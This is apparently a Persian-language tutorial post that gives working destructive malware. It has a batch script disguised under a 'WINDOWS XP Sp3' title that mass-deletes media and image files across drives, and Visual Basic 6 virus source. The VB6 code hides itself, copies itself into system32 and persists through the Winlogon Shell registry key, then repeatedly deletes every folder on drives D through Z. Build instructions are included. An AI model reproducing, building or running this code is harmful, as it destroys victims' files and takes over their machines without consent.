@echo off title WINDOWS XP Sp3 D: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.mp4 /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s E: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s F: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s G: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s H: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s I: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s J: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s K: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s L: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s C: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s Exit
وبعد با فرمت
ویروسی که تمام پوشه های هارد را حذف از ساخت وایجاد پوشه جلوگیری میکنه Visual Basic 6
برای ساختن این ویروس نیاز به برنامه ویژال بیسیک دارید برنامه را باز کرده و بعد بر روی گزینه
standard.EXE کلیک کرده و بعد در پنجره فرم راست کلیک کرده و گزینه view code را انتخاب
کنید وبعد کد زیر را کپی کرده
Private Sub Form_Load() Me.Hide App.TaskVisible = False Timer1.Enabled = True Timer1.Interval = 50 End Sub Private Sub Timer1_Timer() On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") mf = App.Path & "\" & App.EXEName & ".exe" w$ = Environ("windir") If Dir(w$ + "\system32\" + "virus.exe") = "" Then FileCopy mf, w$ + "\system32\" + "virus.exe" End If SetAttr "\WINDOWS\system32\virus.exe", vbHidden + vbSystem Set reg = CreateObject("wscript.shell") reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe,virus.exe", "REG_SZ" fso.deletefolder "D:\*", True fso.deletefolder "E:\*", True fso.deletefolder "F:\*", True fso.deletefolder "G:\*", True fso.deletefolder "H:\*", True fso.deletefolder "I:\*", True fso.deletefolder "J:\*", True fso.deletefolder "K:\*", True fso.deletefolder "L:\*", True fso.deletefolder "M:\*", True fso.deletefolder "N:\*", True fso.deletefolder "O:\*", True fso.deletefolder "P:\*", True fso.deletefolder "Q:\*", True fso.deletefolder "R:\*", True fso.deletefolder "S:\*", True fso.deletefolder "T:\*", True fso.deletefolder "U:\*", True fso.deletefolder "V:\*", True fso.deletefolder "W:\*", True fso.deletefolder "X:\*", True fso.deletefolder "y:\*", True fso.deletefolder "Z:\*", True End Sub
وبعد درنوار ابزارسمت چپ برروی Timer دابل کلیک کرده تا روی فرم قراربگیرد و بعد برای ذخیره روی
منوی File وبعد Make project.exe انتخاب کنید .